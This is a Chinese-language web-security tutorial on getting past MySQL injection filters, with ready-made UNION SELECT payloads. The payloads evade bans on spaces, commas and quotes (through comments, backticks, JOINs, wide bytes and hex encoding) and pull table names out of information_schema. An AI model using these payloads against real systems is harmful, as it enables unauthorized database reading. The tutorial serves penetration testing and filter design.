SQL注入测试技巧TIP:再从Mysql注入绕过过滤说起
字数 715 2025-08-18 11:37:46
MySQL注入绕过过滤技巧详解
一、基础注入回顾
MySQL注入是Web安全的基本功,本文重点讨论在特殊字符被过滤情况下的绕过技巧。
二、空格过滤绕过
当后端代码过滤空格时,可使用以下替代方案:
- 注释符:
/**/ - 特殊ASCII字符:
0x0a(Alt+10)0x0b(Alt+11)0x0c(Alt+12)0x0d(Alt+13)
- 其他可替代字符:
0x09(Tab键)0xa0(特殊空格)
三、无空格注入技巧
当所有空格替代字符都被过滤时,可使用以下方法:
select host,user from user where user='a'union(select`table_name`,`table_type`from`information_schema`.`tables`);
- 利用括号和反引号隔离SQL关键词与库名/表名/列名
- 反引号也可用括号替代:
(table_name)代替`table_name`
四、逗号过滤绕过
当逗号被过滤时,可使用JOIN语句和子查询别名:
select host,user from user where user='a'union(select*from(
(select`table_name`from`information_schema`.`tables`where`table_schema`='mysql')`a`
join
(select`table_type`from`information_schema`.`tables`where`table_schema`='mysql')b
));
五、子查询嵌套限制
MySQL子查询嵌套有以下特点:
- 理论上可以无限嵌套别名
- 实际嵌套层数限制为64层
- 超过限制会报错:"Too high level of nesting for select"
六、单引号过滤绕过
存在宽字节注入时,可绕过单引号过滤:
select host,user from user where user='a?'union(select*from(
((select(table_name)from(information_schema.tables)where(table_schema)=0x6D7973716C)a)
join
(select(table_type)from(information_schema.tables)where(table_schema)=0x6D7973716C)b
));
- 使用宽字节绕过反斜杠转义
- 将字符串替换为十六进制形式
七、结果限制绕过技巧
当Web应用只取查询结果第一行时:
- 使用GROUP_CONCAT合并结果:
select host,user from user where user='a?'union(select*from(
((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=0x6D7973716C)a)
join
(select(table_type)from(information_schema.tables)where(table_schema)=0x6D7973716C)b
));
- 添加条件逐行获取:
select host,user from user where user='a?'union(select*from(
((select(table_name)from(information_schema.tables)where(table_schema)=(0x6D7973716C)and(table_name)!=(0x6462)and(table_name)!=(0x67687478)a)
join
(select(0x77)from(information_schema.tables)where(table_schema)=0x6D7973716C)b
));
八、总结
- 空格过滤可使用多种特殊字符替代
- 无空格注入可借助括号和反引号/括号
- 逗号过滤可使用JOIN语句绕过
- 单引号过滤可利用宽字节或十六进制编码
- 结果限制可使用GROUP_CONCAT或条件筛选
- MySQL子查询最多支持64层嵌套
这些技巧可组合使用,根据实际过滤情况灵活应用。